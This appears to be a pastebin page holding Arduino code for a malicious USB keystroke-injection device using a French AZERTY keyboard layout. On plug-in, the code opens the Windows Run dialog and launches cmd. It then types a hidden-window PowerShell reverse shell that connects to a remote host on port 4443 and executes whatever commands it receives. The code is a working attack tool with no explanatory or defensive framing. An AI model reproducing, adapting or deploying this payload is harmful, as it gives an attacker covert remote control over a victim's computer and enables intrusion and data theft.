Paste Search Dynamic
Recent pastes
typeKey
  1. #include <KeyboardAzertyFr.h>
  2.  
  3. void typeKey(uint8_t key)
  4. {
  5.   KeyboardAzertyFr.press(key);
  6.   delay(50);
  7.   KeyboardAzertyFr.release(key);
  8. }
  9.  
  10. /* Init function */
  11. void setup()
  12. {
  13.   // Begining the Keyboard stream
  14.   KeyboardAzertyFr.begin();
  15.  
  16.   // Wait 500ms
  17.   delay(1000);
  18.  
  19.   KeyboardAzertyFr.press(KEY_LEFT_GUI);
  20.   KeyboardAzertyFr.press('r');
  21.   KeyboardAzertyFr.releaseAll();
  22.  
  23.   delay(500);
  24.   KeyboardAzertyFr.print(F("cmd"));
  25.   delay(1000);
  26.   typeKey(KEY_RETURN);
  27.  
  28.   delay(500);
  29.  
  30.   KeyboardAzertyFr.print("powershell -windowstyle hidden -c "$client = New-Object System.Net.Sockets.TCPClient('',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-string );$sendback2 = $sendback + 'PSReverseShell# ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"");
  31.  
  32.   typeKey(KEY_RETURN);
  33.  
  34.   delay(3000);
  35.   KeyboardAzertyFr.print(F("f"));
  36.  
  37.   // Ending stream
  38.   KeyboardAzertyFr.end();
  39. }
  40.  
  41. /* Unused endless loop */
  42. void loop() {}
Parsed in 0.012 seconds